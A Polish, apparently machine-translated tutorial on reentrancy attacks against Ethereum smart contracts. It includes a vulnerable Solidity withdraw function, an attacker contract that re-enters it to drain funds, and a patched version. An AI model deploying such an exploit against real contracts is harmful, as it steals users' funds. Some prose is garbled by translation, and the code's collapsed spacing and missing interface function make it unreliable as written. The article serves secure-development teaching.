Oto jak odbywa się jedno z najczęstszych włamań do inteligentnych kontraktów, które kosztowało firmy Web 3 miliony…
Niektóre z największych włamań w branży blockchain, w których skradziono tokeny kryptowalut o wartości milionów dolarów, były wynikiem ataków typu reentrancy. Chociaż te hacki stały się mniej powszechne w ostatnich latach, nadal stanowią poważne zagrożenie dla aplikacji blockchain i użytkowników.
Czym dokładnie są ataki reentrancy? Jak są rozmieszczone? Czy są jakieś środki, które programiści mogą podjąć, aby im zapobiec?
Co to jest atak ponownego wejścia?
Atak reentrancyjny ma miejsce, gdy podatna na ataki funkcja inteligentnego kontraktu wykonuje zewnętrzne wywołanie złośliwej umowy, tymczasowo rezygnując z kontroli nad przebiegiem transakcji. Złośliwa umowa następnie wielokrotnie wywołuje pierwotną funkcję inteligentnego kontraktu, zanim zakończy wykonywanie, jednocześnie drenując swoje fundusze.
Zasadniczo transakcja wypłaty na łańcuchu bloków Ethereum przebiega w trzech krokach: potwierdzenie salda, przelew i aktualizacja salda. Jeśli cyberprzestępca zdoła przechwycić cykl przed aktualizacją salda, może wielokrotnie wypłacać środki, aż do wyczerpania portfela.
Jeden z najbardziej niesławnych hacków blockchain, hack Ethereum DAO, jak opisano w Coindesk, był atakiem reentrancy, który doprowadził do utraty eth o wartości ponad 60 milionów dolarów i zasadniczo zmienił kurs drugiej co do wielkości kryptowaluty.
Jak działa atak ponownego wejścia?
Wyobraź sobie bank w swoim rodzinnym mieście, w którym cnotliwi miejscowi trzymają swoje pieniądze; jego całkowita płynność wynosi 1 milion USD. Jednak bank ma wadliwy system księgowy – pracownicy czekają do wieczora, aby zaktualizować salda bankowe.
Twój znajomy inwestor odwiedza miasto i odkrywa błąd księgowy. Tworzy konto i wpłaca 100 000 $. Dzień później wypłaca 100 000 dolarów. Po godzinie podejmuje kolejną próbę wypłaty 100 000 $. Ponieważ bank nie zaktualizował jego salda, nadal wynosi 100 000 USD. Dostaje więc pieniądze. Robi to tak długo, aż skończą się pieniądze. Pracownicy uświadamiają sobie, że nie ma pieniędzy, dopiero wieczorem, gdy bilansują księgi.
W kontekście inteligentnej umowy proces przebiega następująco:
- Cyberprzestępca identyfikuje inteligentną umowę „X” z luką.
- Osoba atakująca inicjuje legalną transakcję na docelowym kontrakcie X, aby wysłać środki na złośliwy kontrakt „Y”. Podczas wykonywania Y wywołuje wrażliwą funkcję w X.
- Wykonanie kontraktu X jest wstrzymane lub opóźnione, ponieważ kontrakt oczekuje na interakcję ze zdarzeniem zewnętrznym
- Gdy wykonanie jest wstrzymane, atakujący wielokrotnie wywołuje tę samą podatną na ataki funkcję w X, ponownie wyzwalając jej wykonanie tyle razy, ile to możliwe
- Przy każdym ponownym wejściu stan kontraktu jest manipulowany, co pozwala atakującemu na drenaż środków z X do Y
- Po wyczerpaniu środków ponowne wejście zostaje zatrzymane, opóźniona realizacja X ostatecznie zostaje zakończona, a stan kontraktu jest aktualizowany na podstawie ostatniego ponownego wejścia.
Ogólnie rzecz biorąc, atakujący z powodzeniem wykorzystuje podatność na ponowne wejście na swoją korzyść, kradnąc środki z kontraktu.
Przykład ataku ponownego wejścia
Jak dokładnie technicznie może wystąpić atak ponownego wejścia po wdrożeniu? Oto hipotetyczna inteligentna umowa z bramą ponownego wejścia. Użyjemy nazewnictwa aksjomatycznego, aby ułatwić śledzenie.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
The Podatny kontrakt pozwala użytkownikom wpłacać eth do umowy za pomocą depozyt funkcjonować. Użytkownicy mogą następnie wypłacić swoje zdeponowane eth za pomocą wycofać funkcjonować. Istnieje jednak luka w zabezpieczeniach związana z ponownym wejściem wycofać funkcjonować. Kiedy użytkownik wycofuje się, umowa przenosi żądaną kwotę na adres użytkownika przed aktualizacją salda, stwarzając okazję do wykorzystania przez atakującego.
Oto jak wyglądałby inteligentny kontrakt atakującego.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Kiedy rozpoczyna się atak:
- The Kontrakt atakującego przyjmuje adres ul Podatny kontrakt w swoim konstruktorze i przechowuje go w wrażliwyKontrakt zmienny.
- The atak funkcja jest wywoływana przez atakującego, deponując trochę eth w Podatny kontrakt używając depozyt funkcję, a następnie natychmiast wywołując funkcję wycofać funkcja Podatny kontrakt.
- The wycofać funkcja w Podatny kontrakt przekazuje żądaną ilość eth atakującemu Kontrakt atakującego przed aktualizacją salda, ale ponieważ umowa atakującego jest wstrzymana podczas połączenia zewnętrznego, funkcja nie jest jeszcze zakończona.
- The odbierać funkcja w Kontrakt atakującego jest uruchamiany, ponieważ Podatny kontrakt wysłał eth do tej umowy podczas połączenia zewnętrznego.
- Funkcja odbierania sprawdza, czy Kontrakt atakującego saldo wynosi co najmniej 1 ether (kwota do wypłaty), a następnie ponownie wchodzi do Podatny kontrakt dzwoniąc do niego wycofać ponownie funkcjonować.
- Kroki od trzeciego do piątego powtarzaj do momentu Podatny kontrakt kończą się fundusze, a kontrakt atakującego gromadzi znaczną ilość eth.
- Wreszcie atakujący może wywołać metodę wypłacićStolenFunds funkcja w Kontrakt atakującego ukraść wszystkie środki zgromadzone w kontrakcie.
Atak może nastąpić bardzo szybko, w zależności od wydajności sieci. W przypadku złożonych inteligentnych kontraktów, takich jak DAO Hack, który doprowadził do hard forku Ethereum Ethereum i Ethereum Classic, atak trwa kilka godzin.
Jak zapobiec atakowi ponownego wejścia
Aby zapobiec atakowi ponownego wejścia, musimy zmodyfikować podatny na ataki inteligentny kontrakt, aby postępować zgodnie z najlepszymi praktykami w zakresie bezpiecznego opracowywania inteligentnych kontraktów. W takim przypadku powinniśmy zaimplementować wzorzec „sprawdza-efekty-interakcje” jak w poniższym kodzie.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
W tej ustalonej wersji wprowadziliśmy plik jest zamknięte mapowanie w celu śledzenia, czy dane konto jest w trakcie wypłaty. Gdy użytkownik inicjuje wypłatę, umowa sprawdza, czy jego konto jest zablokowane (!isLocked[wiadomość.nadawca]), wskazując, że obecnie nie jest realizowana żadna inna wypłata z tego samego konta.
Jeśli konto nie jest zablokowane, umowa jest kontynuowana ze zmianą stanu i interakcją zewnętrzną. Po zmianie stanu i interakcji zewnętrznej konto zostaje ponownie odblokowane, umożliwiając przyszłe wypłaty.
Rodzaje ataków ponownego wejścia
Ogólnie rzecz biorąc, istnieją trzy główne typy ataków reentrancy w zależności od ich charakteru wykorzystania.
- Pojedynczy atak ponownego wejścia: W tym przypadku zagrożona funkcja, którą osoba atakująca wielokrotnie wywołuje, jest tą samą, która jest podatna na bramkę ponownego wejścia. Powyższy atak jest przykładem pojedynczego ataku ponownego wejścia, któremu można łatwo zapobiec, wdrażając odpowiednie kontrole i blokady w kodzie.
- Atak międzyfunkcyjny: W tym scenariuszu osoba atakująca wykorzystuje podatną na ataki funkcję do wywołania innej funkcji w ramach tego samego kontraktu, który dzieli stan z podatną na ataki funkcją. Druga funkcja, wywoływana przez atakującego, ma pewien pożądany efekt, czyniąc ją bardziej atrakcyjną do wykorzystania. Ten atak jest bardziej złożony i trudniejszy do wykrycia, więc aby go złagodzić, potrzebne są ścisłe kontrole i blokady połączonych ze sobą funkcji.
- Atak międzykontraktowy: Ten atak ma miejsce, gdy umowa zewnętrzna wchodzi w interakcję z umową podatną na ataki. Podczas tej interakcji stan kontraktu podatnego na ataki jest wywoływany w kontrakcie zewnętrznym, zanim zostanie on w pełni zaktualizowany. Zwykle dzieje się tak, gdy wiele kontraktów współużytkuje tę samą zmienną, a niektóre aktualizują zmienną współdzieloną w sposób niepewny. Bezpieczne protokoły komunikacji pomiędzy umowami i okresami audyty inteligentnych kontraktów należy wdrożyć, aby złagodzić ten atak.
Ataki typu reentrancy mogą przejawiać się w różnych formach, dlatego wymagają określonych środków, aby zapobiec każdemu z nich.
Zachowanie bezpieczeństwa przed atakami ponownego wejścia
Ataki typu reentrancy spowodowały znaczne straty finansowe i podważyły zaufanie do aplikacji typu blockchain. Aby chronić kontrakty, programiści muszą skrupulatnie wdrażać najlepsze praktyki, aby uniknąć podatności na ponowne wejście.
Powinni również wdrożyć bezpieczne schematy wypłat, korzystać z zaufanych bibliotek i przeprowadzać dokładne audyty, aby jeszcze bardziej wzmocnić obronę inteligentnego kontraktu. Oczywiście bycie na bieżąco z pojawiającymi się zagrożeniami i proaktywne działania w zakresie bezpieczeństwa mogą zapewnić utrzymanie integralności ekosystemów blockchain.